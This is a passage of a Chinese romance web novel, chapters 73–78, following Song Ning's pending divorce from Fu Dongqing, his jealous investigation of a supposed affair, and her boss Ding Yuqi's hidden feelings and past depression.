十来个黑衣人都迅速离开了,只剩下一个高大的男人背对着他,站在不远处。 吴教授的眼睛还没能适应周遭的环境,有些看不清楚。 直到男人开了口:“吴教授,我想知道多年前的那一夜,你和我太太宋凝一起在酒店过夜,到底发生了什么。” 吴教授终于弄明白了眼前的这个男人是谁。 “你是小宋凝的丈夫?” “是的,我姓傅。” 吴教授冷声说道:“我没有跟宋凝去过什么酒店,更没有过夜,傅先生你是听谁造的谣,建议你去问问那个人,到底是何居心。” “没有?”傅东擎冷笑:“吴教授确定吗?如果我真的什么都不知道,也不会找上你了。” 吴教授沉默了一会儿,问道:“你到底想说什么,不如直说。” 傅东擎说:“我深爱我的太太,但是因为多年前的这件事,我们两个闹了一些不愉快,她始终不肯说那一晚发生了什么,但我作为她的丈夫,却必须要一个答案。” “傅先生想要一个什么样的答案呢?如果我跟宋凝真的有不正当关系,你打算把我从山上扔下去吗?” 特地把他带到人迹罕至的山顶,不就是想威胁他吗? 可傅东擎却说:“事关我太太的清誉,这里安全一些。吴教授,我不想为难你,我只想知道真相。” 吴教授问:“你相信你太太吗?” “当然。” “你不相信,”吴教授说:“如果你相信的话,你就不会来找我,把我带来这里。” 傅东擎一凛。 吴教授说:“我是个老师,我必须保护我的学生。不管是宋凝,还是其他任何学生,我都会保护她们。傅先生,我跟宋凝很清白,希望你不要怀疑她。” 傅东擎的眼神突然危险的眯起:“其他学生?那一晚的酒店里,还有你的其他学生?” 﨔 第七十三章 这个男人到底是谁! 他猜的太快。 但吴教授毕竟有年龄有阅历,面上仍旧沉静如水:“傅总,你不用套我的话。我跟小宋凝从头到尾都清清白白,而且宋凝的性格你应该了解。” 他说话逻辑清楚,条理清晰:“第一,她如果想要读研究生,肯定会加倍努力学习,而不是走这种歪门邪道;第二,她那么爱你,倘若那一晚我们真的发生了什么,她会跟你坦白,让你自己做决定。” 傅东擎听完,定定地看了他一会儿。 似乎在思考,又似乎在鉴别真伪。 吴教授突然冷笑了一下:“我也是没想到,以前读书的时候看到你们两个感情那么好,还以为你们一定会一直恩爱下去,没想到现在居然也会闹到现在这样的地步。” “我跟阿凝会这样,还不是因为吴教授不肯告诉我实情?” “傅总,这件事你怪不到我头上,还是你自己的疑心病作祟,你不是真的相信她。” “……” “你不用在我这里多费功夫了,我不会有其他答案。时间不早了,方便送我下山么?” 傅东擎突然有些疲惫。 他的语气有些卑微祈求地意味:“我大概也能猜出来,那天晚上酒店里肯定还有其他人,并且发生了一些不好的事。你跟宋凝都是为了保护那个人,所以才选择守口如瓶,死守秘密。” 吴教授的脸色微微白了一下,但很快就恢复了正常。 傅东擎说:“既然这样,吴教授,我尊重您。” 傅东擎打了个响指,小何很快就带着人跑了过来。 他轻声吩咐:“送吴教授回去吧,尊重一些。” 小何点了点头:“是。” 吴教授被请上了车,一个保镖开着车下了山。 傅东擎没动,仍旧站在山顶上,俯视着山下火柴盒大小的车流。 小何问:“傅总,我们也下山吗?” 傅东擎沉默了一会儿,点了头:“走吧。” “傅总,我今天刷到了一个短视频,关于太太的,您要看看吗?” 傅东擎皱眉:“短视频?” 小何连忙把自己的手机拿了出来,递给他看。 一开始的画面里,就是一辆保姆车缓缓停在一个酒店门口。 车上下来一个男人,穿着黑色的风衣,戴着黑色的帽子、墨镜还有口罩,几乎是全副武装。 傅东擎看的疑惑:“这是谁?” “不太认识,拍摄这段视频的应该只是个路人,她的配文也是:见证了爱情最美好的样子。” 傅东擎最近一脑门子的官司,耐心不多:“你给我看这个干什么?” 小何吞了吞口水,小声说道:“您往后看看。” 就在这时,酒店里走出来了一个身材窈窕的女人。 她穿着一身洁白的连衣裙,头发也是简单的披发,视频有些模糊,看不清五官。 但是傅东擎几乎一眼就认了出来,这个人就是宋凝! 她刚一出门,就被那个男明星抱在了怀里。 而且……她没有挣扎的迹象。 视频戛然而止。 傅东擎几乎是忍着才没有把手机当场砸了! 原来,她真的有新的感情对象了! “去查!这个男人到底是谁!” 小何摸了摸鼻子,小声说道:“是。” 不过很快,方律师就带来了消息。 他调查的很清楚:“傅总,有线索了。最近傅太太跟一个叫方莫奇的男明星好像联系的挺频繁。” 傅东擎一听就觉得不靠谱:“男明星?” “是的,太太是不是之前追星啊?” “没有,她对娱乐圈不感兴趣……” 等等。 她是对娱乐圈不感兴趣,但是唐婷就是混娱乐圈的啊! 傅东擎立刻问道:“你去查一查,这个男明星跟女明星唐婷认不认识。” “唐婷是……?” 傅东擎思索了一下,唐婷是本名,她现在在娱乐圈用的都是艺名。 但是……叫什么来着? 他不太记得了。 还是小何提醒了他:“唐欣鸢。” 方律师当即反应过来了:“他就是唐欣鸢现在正在拍摄的这部电视剧的男二号呀!我查方莫奇的时候,正好看了一些他最近的消息,唐欣鸢是女一号,他是男二号,而且据说他跟唐欣鸢私人关系很不错!” 小何轻声说道:“难道是唐小姐给牵线搭桥了?” 傅东擎头疼不已,按着太阳穴闭上了眼睛。 电话里,方律师嘿嘿笑了两声:“傅总,您之前答应我的报酬……什么时候能结算一下?” 傅东擎心里窝火,不过他想到了另一件事:“你之前说,阿凝之前找你,是想让你作为我的代理律师,去跟她一起办理离婚手续?” “对啊,是的,但是我没答应。” “为什么不答应?阿凝给的钱不够多?” 方律师嘿嘿嘿笑着:“傅太太确实答应给我钱,但是我不能做这么昧着良心的事情呀!” “她凭什么认为我会愿意用你当代理律师?我并不认识你,你的专业素养……呵。” 后面的话他没说出口,但是意思已经十分明显了。 方律师就是个典型的要钱不要脸的讼棍。 宋凝如果真的给足了钱,他没道理不赚。 方律师又是贼兮兮地笑了两声:“我是想赚钱,但是也得考虑后果啊。我也跟傅太太说清楚了,她到时候离了婚逍遥自在了,但您肯定最后会查到我头上,我可承受不起您的怒火……” “不过……”他继续说:“我拒绝了之后,傅太太好像又找了新的律师。” 傅东擎问:“谁?” “这个我就不知道了,从那之后傅太太一直也没联系过我。不过她应该是已经让您签下了离婚协议和委托书了,等冷静期一到,就可以正式离婚了。” 傅东擎下意识地否认:“不可能,我没签过。” “没签过吗?傅先生,我友情提醒一下,傅太太让您签的时候,肯定找了其他的借口,比如说转账汇款,或者是买什么东西……” 傅东擎捏着手机的手骤然间一紧。 买东西。 小行星! 傅东擎急急问道:“如果我是在不知情的情况下签署的,离婚手续能办吗?” “理论上是可以的,不过您如果不想离婚,我也帮您想好办法了……” 﨔 第七十四章 我头晕,起不来 “别卖关子,说!” 方律师:“傅总,我给您提供的信息,您还没给我结算费用呢。” 傅东擎怒火中烧:“先说!钱少不了你的!” “傅总,不是我爱钱啊,就是交易都是一笔一笔做的。您权势滔天,我一个小律所肯定没办法跟您抗衡,万一您用过就扔,我上哪儿要钱去?” 傅东擎厉声说道:“小何,靠边停车!” 车子稳稳地在路边停了下来。 傅东擎操作了一会儿手机,然后冷声对电话那头的方律师说道:“钱转过去了,赶紧说!” 方律师喜悦地“哎哟”了一声:“收到了收到了,三百万,傅总真是讲信誉!” “现在可以说了吗!?” “可以是可以,但是我们得把价钱先谈妥了不是?” “……方律师,你信不信明天我就可以让你的律所从H市消失?” 方律师吓到了似的:“我信,我当然信!傅总,我知道您着急,所以我也不想耽误您的时间,这样吧,一口价,五百万,怎么样?” 傅东擎的胸膛因为气愤而剧烈的起伏着:“可以,说吧。” “傅总,这次我们先付款,后交易。” “你……” 方律师继续劝说道:“您放心,我还想一直在H市混,肯定不会得罪您。我给您出的主意,肯定是有效的,要是没有效果,我全额给您退款!” 傅东擎倒是不怕他要钱。 就怕他不办事。 “方律师,如果最后我太太还是办成了离婚手续,我要的就不仅仅是退款了,你明白我的意思吗?” 他的声音阴冷,方律师哪有不明白的,立刻回答道:“明白明白……” 傅东擎又给他转过去了五百万。 “赶紧说!” 方律师说:“离婚冷静期现在是30天,我大致估算了一下,现在大概已经过去了十天左右,也就是说,再有二十天就可以正式办理离婚手续了。那几天您就让人在民政局门口等着,看看跟太太一起来办手续的人是谁,拦住他即可。” “二十天,你确定吗?” “前后差距不超过两天,您要是不放心对的话,那几天都派人蹲守就行。只要拦住那个律师,傅太太就没办法 办理了。” 挂了电话,小何又缓缓启动了车子。 傅东擎低着头,不知道在想什么。 小何轻声说:“傅总,这个方律师的品行实在难以恭维,你转钱转的有点太干脆了。” 傅东擎深吸了一口气,无奈的捏了捏眉心:“我总不能真的任由阿凝跟我离婚,他虽然贪财,但确实带回来了消息,至少我现在知道了她有新的感情动向,还有那个人的名字。” 小何点了点头:“不过太太这一次也太草率了,居然找了个小明星?” 傅东擎也有点怀疑。 宋凝的眼光,应该不是喜欢花美男那一挂的。 而且在林澜的事情被她发现之前,她跟那个方莫奇根本都不认识。 这才十天左右的工夫,怎么就谈上恋爱了? 这不是她的风格。 宋凝没有这么随便。 他用手机搜了一下方莫奇的名字,顿时眉头紧锁。 小白脸儿一样的长相,看起来就是个奶油小生。 小何说:“会不会是那个小明星知道太太的身份,想要傍富婆吧?!” 傅东擎冷笑:“他要是敢动阿凝一根手指头,我就把他整个手都剁下来!” “小丁总也是的,太太几乎天天都跟他在一起,她跟方莫奇的事情按理说小丁总不可能不知道,他怎么也没跟您说一声呢……” 说起这个,傅东擎又是心里堵的不行。 自己就一次行差步错,老婆要跑,连兄弟也差点没了。 “算了,予期好不容易才等到了心爱的女孩,这阵子已经够麻烦他了。” 小何点了点头:“也是,而且小丁总一像跟太太关系不好,也未必时时刻刻都会看着她。” “……嗯。” …… 宋凝一晚上几乎没睡。 虽然知道丁予期有可能是个ga y亦或者是全世界的女人都死光了也不会对她下手,但孤男寡女共处一室,还是让她有些不太放心。 天终于亮起来的时候,宋凝才微微舒了一口气。 她回了自己的房间,李明富还睡得很熟,呼噜声打的震天响。 “好看吗?” 宋凝吓了一跳。 她下意识看了一眼房间门,已经被打开了,虚掩着。 她厉声质疑道:“你怎么进的我房间?” 丁予期耸了耸肩:“昨天我下楼的时候,前台塞给我的,说是备用房卡。” “那你也不能不经过我同意直接刷卡进来吧?” “我怎么知道你就在里面?我早上醒来没看到你人,我还以为你晨跑去了。” 宋凝无语,气鼓鼓的。 她摊开手:“给我。” “什么?” “我房间的备用房卡。” 丁予期看了她一会儿,还是把房卡放进了她的掌心里。 宋凝把房卡收好,冷声问道:“你起这么早干什么?难道你有晨跑的习惯?” “对啊,”丁予期拉着她就走:“你跟我一起去。” 宋凝被他直接拉出了房间,一直负隅顽抗:“我不去,你放开我……” 突然间,丁予期猛地一松手。 宋凝几乎是立刻往后倒去。 她有些慌乱地想要抓住什么,可四周都空空荡荡的,能抓的只有他的手。 下一秒,她摔倒在地。 丁予期被她拉了一下,摔倒在她身上。 只不过他反应还是快了一些,用手撑住了自己,身体没有全部砸下来。 但即便如此,两人的下半身都是免不了紧紧贴着。 他的脸就在自己正上方,眼睛注视着她,亮的惊人。 宋凝推了他一把,没推开。 丁予期饶有趣味地看着她,勾唇。 宋凝被他看的有些尴尬,使劲全身力气又推了一把:“你起来!” 丁予期一秒虚弱,痛苦地蹙眉:“不行,我头晕,起不来。” “头晕?” “可能是又发烧了吧,不信你摸摸?” 宋凝狐疑:“发烧了?你昨晚没吃药吗?” “昨晚吃了,今天早上还没吃。昨晚喝了点酒,可能有点加重病情了。晚上睡觉的时候我就一直觉得冷……” 宋凝伸出手摸了摸他的额头,丁予期享受似的闭上了眼睛。 那种触电似的感觉又来了。 不过这次更不一样,上次只是正常姿势的接触,而这次,她在他身下,在他怀里。 闭上眼睛后,其他感官就会被放大。 他能感受到她柔 软温热的掌心,鼻息间还能闻到那股熟悉的栀子花香。 他不禁深深吸了一口,眷恋这一刻的温情。 只是突然一个男声打断了他的美梦:“你们在干什么?!” 第七十五章 原来豪门自己也爱吃瓜 这个声音…… 宋凝顿时有些慌乱,使尽吃奶的力气去推他。 可丁予期还是不紧不慢地,晃晃悠悠地从她身上起了身,见她挣扎半天,还伸出手想要拉她。 宋凝狠狠拍掉了他的手,自己站了起来。 “……丁大哥。” 丁予期也是没想到,那天在酒宴上就觉得这两个人不对劲。 但是想到丁予期跟傅东擎的关系,傅东擎把老婆托付给他也不算太奇怪。 可今天一大早就撞见这件事,丁予墨觉得头疼。 他背对着他们站着,听到了窸窸窣窣的响声。 等了许久,他终于不耐烦地问了一句:“你们整理好了么?” 宋凝一听就知道他肯定是误会了什么,连忙说道:“我们没有……” “没有整理好,再等等,”丁予期轻声说道:“大哥你这么早来找我有什么事?” 丁予墨脸色微沉:“傅太太,你先整理。予期,你跟我出来!” 说罢,他就大踏步地离开了,一直走到走廊的尽头才停下来。 等了一会儿,丁予期才姗姗来迟:“大哥。” 丁予墨气不打一处来:“你跟她到底怎么回事?” 丁予期依旧玩世不恭地笑:“不是都看到了么。” “你跟傅东擎的女人……?予期,你是不是疯了?” 听到“傅东擎的女人”这几个字,丁予期的笑容立马变成了讥笑:“没到入土的时候,她是谁的女人还不一定呢。” “你认真的?” 丁予期哈哈笑开:“大哥,说正事。” 丁予墨有些拿不准弟弟到底是在玩还是真的动了心,他只是叮嘱了一句:“别玩火,傅东擎要是知道了,不是开玩笑的。” “你不说我回去了。” 转身作势要走。 丁予墨连忙叫住他:“帮我个忙。” “什么忙?” 正说着,丁予墨看到了宋凝的身影出现在不远处的房间外。 丁予期回头看了一眼,直接对她招了招手:“过来。” 宋凝有些迟疑。 人家兄弟两个说话,摆明了要避着她的,她也不想去蹚浑水。 她只是想下楼去前台给李叔要点醒酒药。 刚刚闹那一出,终究是把睡得跟死猪一样的李叔给吵醒了。 他头疼欲裂,脸色也有些苍白,头晕的都走不成路,一走就脚底拌蒜。 丁予期还在催促:“过来啊。” 宋凝说:“我不过去了,你们聊,我下楼一趟。” 可是丁予期却不管不顾地,直接跑了几步过来,拉着她就往丁予墨面前凑。 站定之后,丁予期还轻笑着说:“又不是不认识,怕什么。” 宋凝瞪他,他当无所谓,甚至还轻轻揉了揉她的后脑,俯下身问她:“刚刚撞疼了么?” 宋凝一看这厮,就知道他又要演戏了。 叫她过来,无非是要找个演戏搭子。 丁予墨叫了一句:“傅太太,好久不见。” 宋凝木着脸说:“丁大哥,以后你叫我宋凝或者宋小姐都行,我跟傅东擎已经准备离婚了。” “听说了。” 宋凝抬头,看向丁予期:“你说的?” 这件事不是说好了谁都要瞒着的吗? 丁大哥又跟傅东擎认识,这是要打草惊蛇? 丁予墨说:“你们在顾家发生的事,顾秀秀已经广而告之了,现在圈子里的应该知道的基本都知道了。” 原来豪门自己也爱吃瓜。 丁予墨说:“离不离婚是你们的私事,我也没资格过问。宋小姐,你跟予期是什么时候……有关系的?” “我们……” “就这几天,”丁予期直接抢答了:“大哥,你还是先说你的事吧。” 丁予墨看了他两眼,无奈的说:“今天是你大嫂的生日,你去参加一下。” 丁予期问:“时间,地点?” “晚上八点,乔贤居。” 丁予期点了点头:“行,正好我今晚没事,就替大哥你走一趟。” 丁予墨跟宋凝点了点头,算是告辞,离开了。 等他走远,宋凝才问道:“你大哥跟大嫂不是离婚了么?怎么还要让你去参加生日会?” 丁予期眨了眨桃花眼:“对我家的事这么好奇?” “怎么,就许别人吃我的瓜,我不能吃别人的?” 丁予期笑着说:“今晚你跟我去。” “……我又不认识你大嫂,我去干嘛?” “哎呀,头疼,”丁予期说:“今晚估计又得喝酒,也不知道是谁,自己感冒好得差不多了,却把感冒传染给我了……” 宋凝无语:“我刚刚摸了,你已经退烧了。” “这会儿可能又烧起来了,不信你再摸摸?” 自从这一趟出来之后,宋凝就觉得丁予期越来越不对劲了。 好像有一股黏糊劲儿。 尤其是他总是让她摸自己的额头。 虽然只是触摸温度,但每次她把手放上去的时候,丁予期的表情都会变得很奇怪。 ……就很像他的那三个好大儿。 她每次撸狗头的时候,那三只也会露出一模一样的表情。 真不愧是亲生的。 “又在心里骂我?” 宋凝摇头:“我怎么敢呢?你现在不但是我的老板,还是我的衣食父母。丽晶酒店都在你手里了,我哪儿敢得罪您?” 丁予期哼了一声:“你要是真这么想就好了。” 回到房间里,李明富还在痛苦地抱着头。 宋凝说:“李叔,你家地址在哪?我帮你打个车送你回去。” 李明富微微睁开眼睛,跟丁予期对视了一眼,突然哎呦哎呦的叫起来:“不行啊宋小姐,我头疼的厉害,根本站不起来。” 到底是长辈,宋凝也没办法说什么,最后只能说:“那我去给你买点醒酒药,你吃了再睡一觉,等下午再走。” 李明富看向丁予期,见他微微点了一下头,是许可的意思,于是自己才应了下来:“嗯,行。” 丁予期拉着她就走:“让李总好好休息,我们别在这里吵着他。” 回到丁予期的房间里,他丢下一句去洗澡,然后就去了浴室。 宋凝百无聊赖,坐在沙发上刷手机。 方莫奇刚刚给她发了消息,说自己已经买断了那天的照片和视频,他们结婚的事情就算了吧。 宋凝打了个电话过去,跟他道了歉。 “……我也不知道那天为什么他会那么激动地打人,我替他跟你道歉。你的医药费我来负担吧,就是不知道你伤得重不重,会不会耽误你们的拍摄进度。” “没事,化了妆都能盖住。不过你前夫下手真的狠啊,打得我现在一摇头就头晕,可能有点脑震荡了。” “真是对不起。” “算了,这件事也怪我太急了,不过我看你前夫还挺紧张你的啊,长得也帅,看着也是个有钱人,他真的家暴你吗?” “家暴?没有,不是……” “唐婷说,你前夫是个家暴狂,如果再晚几天你就会被打死了,还求我一定要快点救你出火海。” 第七十六章 这不就是妥妥的吃醋么 宋凝:“……” 方莫奇唏嘘了两声:“我一方面是想给我对象安全感,另一方面也是想救你出水火,毕竟是朋友的朋友,能帮一把是一把。之前我还不相信,怎么这年头了还有打老婆的?那天我算是亲身体会到了,他那个力度,我都受不了,更别说你一个瘦弱的女孩子了,还是早点离了的好。” “……你对象知道这件事了吗?” “知道了,哈哈,说出来你可能不信,我对象知道了我为他做的事,还阴差阳错被打了,这两天对我好的不得了。” “那恭喜你了。” “谢谢,不过宋小姐,你需要律师吗?跟有钱人离婚可能不太容易,如果需要的话,我可以介绍我的律师给你,尽快救你出来。” 唐婷,你都说了些什么…… 宋凝:“我有律师了,挺靠谱的。” “那你可藏好了,千万别被你前夫知道,要不然我怕他连律师都会打。” “其实……那天打你的,就是我的律师。" 方莫奇直接回了“???”给她:“那天打我的不是你前夫?” “不是,是我前夫的朋友。” “嘶……”方莫奇倒吸了一口凉气:“这关系怎么听起来有点乱。” 宋凝也觉得乱。 一时也有点解释不清,为什么前夫的朋友会帮她离婚,最匪夷所思的是居然还会冲动到打人。 宋凝说:“可能是他对我前夫爱的深沉吧,不忍心让他最爱的男人头顶上青青草原。” “不对不对,”方莫奇说:“打我的那个人,一看就是纯直男,他不可能喜欢男人。我跟你说宋小姐,你对我们这个圈子还是缺乏了解,是不是同,我们只要视线一对上,我一眼就能看出来。” “我也不是很了解他,这些年我们相看两厌,可能就是单纯的兄弟情吧。” 方莫奇突然哈哈大笑起来:“我怎么觉得,你这个律师可能有点喜欢你啊?” “……方先生,大白天的别讲鬼故事。” “你就这么不喜欢他?” “我跟他认识也不是一年两年了,他一直都很讨厌我,现在帮我也是为了让他兄弟早点摆脱我,这难道是喜欢?” 方莫奇却说:“如果不是喜欢,哪有男人会这么愤怒地打我啊?这不就是妥妥的吃醋么。” 宋凝握着手机的手微微一紧。 她又想到了自己的那个梦境。 但是! 那也只是个奇怪的梦而已。 方莫奇说:“宋小姐,你好好再想想吧,我先去拍戏了。” 宋凝看着屏幕黑掉的手机,有些若有所思。 而一墙之隔的浴室里,丁予期把水开到了最冷,把自己浑身都冻了个彻底。 冰水兜头浇下,冷的他浑身都起了一身细细密密的鸡皮疙瘩。 他还觉得不够,又怕吹风开了。 这一次,寒意再次包裹了全身,很快,他就感觉鼻子有点堵了。 这个澡,足足洗了一个多小时才出来。 他从浴室出来的时候,脸色明显有些苍白,脖子上的青筋也微微暴起。 说话的时候,也瓮声瓮气的:“刚刚跟谁打电话呢?” “没谁,”宋凝也留意到了他的声音:“你感冒又加重了?” 丁予期敲了敲有些酸疼地太阳穴:“不知道,可能吧。” 宋凝从沙发上起来,绕过去摸了一下他的头。 这一次,连她都有些吓到了:“怎么这么烫?” 丁予期说:“我也去睡一会儿,你看电视吧。” “等等,”宋凝拉住他:“吃了药再睡,捂捂汗说不定就好了。” 她冲好了冲剂,递给他。 丁予期看了一眼手上的马克杯—— 还是昨天她用过的那一只。 他微微勾唇,仰头把药液喝了个精光。 进卧室的时候,宋凝还在身后叮嘱:“被子盖好,别着凉了。” 丁予期“嗯”了一声。 关上门,就把空调开到了8°。 然后径直躺在空调正下方,冷风一遍一遍的在他身上来回扫荡,身体冷热交替,他有种自虐似的爽感。 晚上七点,丁予期上了闹钟。 醒来的时候,他明显感觉到自己浑身发烫。 勉强站起来开窗,让冷气全部散尽,然后又把被子抖开,弄成能被盖过的样子,他才打开门走了出来。 宋凝还是窝在沙发上玩手机。 丁予期问:“怎么没看电视?” “我怕吵着你休息。”宋凝抬起头看向他,猛地吓了一跳:“你怎么变关公了?” 脸,脖子,甚至全身都像是烫熟的虾子的一样,红彤彤的。 丁予期头有些疼,在她旁边的沙发上坐下,明显很不舒服:“不知道,睡起来就这样了。” 宋凝轻轻摸了一下他的额头,简直烫手! 她立马小跑了过去:“这样不行,你快去换衣服,我们去医院,你现在肯定高烧了。” 丁予期像是个秤砣一样,宋凝根本拉不起来。 他皱眉说道:“我答应了我大哥,晚上还得去参加大嫂的生日会呢,不去医院。” “丁予期,身体最重要,你怎么就不当回事呢?你大嫂要是知道你病了,也不会怪你的。” 丁予期皱眉:“时间差不多了,你去帮我泡一杯药,我喝了之后我们就该出发了。” “丁予期。” 丁予期突然笑了:“宋凝,如果有一天我真的病死了,你会难过吗?” 宋凝一愣:“你说什么胡话呢?” “你不是一直很讨厌我吗?如果我死了,你是不是会很开心?” 宋凝叹了口气:“我也不是讨厌你,是你先对我不满的啊,我总不能像个鹌鹑似的逆来顺受吧?总得回击一下。” “我没有对你不满。” “骗人,从我跟傅东擎结婚开始,你就鼻子不是鼻子眼睛不是眼睛的,我看得出来。” “我只是不满意你跟他结婚,并不是不满意你这个人。” 宋凝说:“那不还是一样?我看你就挺喜欢那个林澜的。” 丁予期再次纠正她:“我是喜欢林澜当傅东擎的老婆,不是喜欢林澜这个人。” “好了好了,知道了,你还是觉得我配不上你的好兄弟傅东擎呗?” “我……” “我去给你弄药。” 说着,她去了料理台。 丁予期看着她的身影,默默叹了一口气。 ——我是觉得他配不上你。 第七十七章 三年前他得过很严重的抑郁症 丁予期喝了药之后,状态更加不好了。 原本还能有力气跟她斗嘴,喝完药之后,还有点开始犯困。 恰在这时,他的手机响了。 来电显示上写着:【猛虎】。 ……这都什么跟什么。 傅东擎是野狗,那这个猛虎又是谁? 宋凝推了推丁予期:“你有电话。” 他微微睁开眼,看了一眼屏幕,然后又闭上了:“我大嫂,估计是来催我的。” “那你接吗?” “你帮我接吧,就说我已经准备出发了,很快就到。” 说完,他又栽倒在了沙发上。 宋凝没办法,只能按下了接听键:“您好,小丁总现在不太方便接电话,我是……” 接电话的是个听起来很干练爽快的女声:“你就是他女朋友?” “我不是。” “那你是谁啊?”女人轻快地笑了一声:“瑞贝卡的声音我可是认得的。” 宋凝说:“我也是卫斯理酒店的员工,这次出差是我陪同丁总一起来首都的。” “下属?” “对。” “你一个下属,敢接老板的电话?还不是他默许的。” 电话那头,又有一个男人的声音,听起来很像丁予墨。 他小声说道:“你别太猛了,吓到人家女孩子。” 女人哈哈笑了一声:“能被予期看上的女孩子,哪儿那么容易被吓到?” “……反正你悠着点吧。” 女人对宋凝说道:“我现在就在你们的酒店楼下,你们收拾好了就快点下来吧。” “您亲自来接?” “嗯啊,我也想来看看能让把予期这个混小子弄的神魂颠倒十多年的人到底长什么样……哎呀你拉我干嘛?” 丁予墨柔声说道:“都说了让你别这么猛……” “好了,你们赶紧下来啊!” 电话挂断了。 宋凝看着还在沙发上躺着的丁予期,心情复杂。 误会大了。 早上那一幕终究还是让丁予墨误会了。 这夫妻俩怕是现在都认为他们的弟弟等了这么多年的白月光是她。 神特么白月光…… 她就离个婚,还得背这个锅。 宋凝表示她背不动。 “丁总,”宋凝把茶杯里的凉水弄了点在手上,轻轻拍在他滚烫的额头和脸颊:“你大哥大嫂来了,就在楼下。” “嗯……”他闭着眼睛,半梦半醒,有些呓语。 “你要是实在不舒服,要不就打个电话给他们道个歉,然后赶紧去医院。” 丁予期一把握住了她的手腕,贴在了自己的脸上。 滚烫的温度让宋凝反射性的一缩。 可丁予期人虽然病了,力气却挺大,拉着她不肯松手,小声咕哝着抱怨:“好热啊,给我冰一冰。” ……原来是嫌热。 似乎是凉了一会儿,让他的神志恢复了清明。 他终于放开了禁锢着她的手,缓缓睁开了眼。 “走吧。” 他站起来的时候,仍旧有些摇摇晃晃地。 宋凝扶了一下,他的手臂和手掌也很烫。 “……你真的行吗?” 烫成这个样子,不去医院的话她真怕丁予期烧坏了。 丁予期微微勾唇:“担心我啊?” “我是怕你烧失忆了,忘记了要陪我去办离婚的事情。” “这件事,”丁予期强调:“我不会忘。” 两人下楼的时候,丁予期脚步还是有些虚浮。 酒店外面停着一辆大红色的保时捷,旁边站着一个一身大红色修身连衣裙的女人。 她身材婀娜,黑发如同黑色的瀑布一样倾斜而下,五官明艳,活脱脱一个性感大美人。 她听到了动静,也看到了丁予期。 她笑着抱着手臂说道:“怎么弄这么久?我过生日还得专门来接你。” 丁予期两手一摊:“其实你可以不用来。” “我这不是急着想看看到底是什么九天仙女,能把你这个混世魔王收服?” 丁予期索性往旁边站了一小步,把身后的宋凝给露出来。 “那你看,看个够。” 刚刚电话里误会没解释清楚,宋凝还以为丁予期会立刻撇清跟她的关系呢。 没想到他就这么水灵灵的躲开了。 只剩下自己面对面的迎接性感大嫂的审视。 她的五官是那种很有冲击性的漂亮,尤其在看人的时候,目光凌厉,像是透着精光。 宋凝涨了张口:“丁总,您别开玩笑了,让人误会了不好。” 解释啊! 你快点解释啊! 性感大嫂红唇一勾:“哦?解释什么?” 丁予期抓了抓头发,轻声说道:“我给你们介绍一下。这位是我大嫂,苏菲;这位是我的……下属,宋凝。” 苏菲轻笑:“注意点用词好不好?我是你的前任大嫂。” 她很自来熟地朝宋凝伸出手:“你好啊,前任傅太太?” 宋凝被这个称呼弄的虎躯一震。 她当时跟傅东擎结婚的时候,丁予墨出席了,但苏菲没去。 她现在一张口就是傅太太,八成是丁予墨说的了。 宋凝伸出手跟她交握:“您好,您既然已经跟丁大哥离了婚,我就不叫您丁太太了,叫您苏小姐可以吗?” “当然可以,那我叫你小凝?” 当着面,宋凝也不好反驳什么。 而且她的年龄确实比苏菲要小很多,于是点了点头:“可以的。” 出发的路上,丁予墨开车,苏菲坐在副驾。 宋凝只能和丁予期一起坐后排。 他一上车就又开始昏昏欲睡。 车子一个转弯,丁予期就歪歪扭扭地倒在了宋凝身上。 宋凝正想推开他,就听到苏菲问道:“予期不舒服吗?” “他感冒了,昨天就有一点,今天也不知道怎么了,更严重了,出门之前一直在发烧。” 苏菲问:“吃药了吗?” “吃了。” 苏菲明显很惊讶:“他居然肯吃药?” 宋凝更迷惑了:“生病了就应该吃药啊,他以前不吃吗?” 丁予期突然淡淡开了口:“三年前,他得过很严重的抑郁症。那段时间吃了很多药都没什么作用,医生就不停的给他换药,可能是那段时间吃出心理阴影了,这些年他无论生什么病,都不肯吃药,全靠身体素质硬抗。” 抑郁症? 宋凝实在想象不出来,平时这么有精神头,天天跟她互怼的丁予期,居然得过抑郁症! 三年前? 刚好是她跟傅东擎结婚的那一年。 第七十八章 全乱套了 ……丁予期对这么爱吗? 对好哥们的占有欲这么强? 可是方莫奇已经进行权威鉴定了,丁予期是百分之百纯直男。 她可能真的不能理解,既然是异性恋,那他娶老婆和拥有兄弟又不冲突,怎么打击就这么大? “何止不吃药,”苏菲说:“他那段时间都有自虐倾向了,用烟头烫的自己一双手全都是疤痕,好不容易长好了,又烫了,旧伤叠新伤的,一双手就没有好的时候。” 宋凝试探性的问了一句:“他是因为什么原因得了抑郁症?” “他不肯说,”苏菲叹了口气:“他哥哥还找了很权威的心理专家,用了好多种方法他都不愿意说出来心里真正的心结,一切都只能闷在心里自己消化,专家没有办法干预给他进行心理疏导,所以才会那么严重。” “那他什么时候好的?” “一直没好过,”苏菲突然想起来了什么:“不过好像就是前段时间,一两个月前吧,他的状态突然好了很多,手上也再也没有烫出疤了,我以为他终于走出来了,结果他告诉我说,他看到光了。” 她扁了扁嘴:“谁也不知道他说的光是什么。” 丁予墨的声音很低沉磁性:“这次苏菲过生日,也是想拉他出来热闹热闹的。” 宋凝点了点头。 她偏头看了看丁予期,他的头搭在她的肩膀上,但是因为两个人的身高差距实在是差得有点多,他搭的有些不舒服,脖子整个是扭着的。 在看他的手,从前宋凝一直没怎么注意过他的手。 现在仔细看起来,好像的确是有些肤色不太均匀,有的地方白,有的地方还透着些红。 但是因为丁予期肤色偏黑,所以看着不是很明显,仔细分辨的话,倒是很容易能看到的确有很多以前的伤痕印记。 傅东擎,你害人不浅。 放在古代,你高低也是个蓝颜祸水了。 丁予期似乎有些难受,皱眉咕哝了一句什么。 宋凝捧着他的头,调整了一下坐姿,让他靠的更舒服一些。 他的眉目果然舒展了。 苏菲问:“小凝,你跟傅东擎已经办离婚手续了吗?” “还没,冷静期还没到,时间一到立刻去办。” 苏菲点了点头:“那就好。” “什么?” “没什么,”苏菲笑开:“就快到了。” 苏菲的生日会直接包下了首都最豪华的一个私人会所。 他们到的时候,会所门口已经很热闹了。 衣香鬓影,豪车美人。 如果不知道是个生日会的话,她还以为什么高端的商务聚会。 丁予墨停好车,也跟着苏菲称呼她:“小凝,一会儿我来帮你扶他。” 宋凝点了点头:“好的。” 丁予墨已经拉开了副驾驶的车门,扶着丁予期下了车,他的脑袋还是跟装着自动定位一样,依旧靠在宋凝的肩膀上。 丁予墨看的直叹气,一副嫌他丢人的样子,不轻不重的推了推他的肩膀:“你多重自己心里没点数吗?小凝今天回去就得落的个肩周炎。” 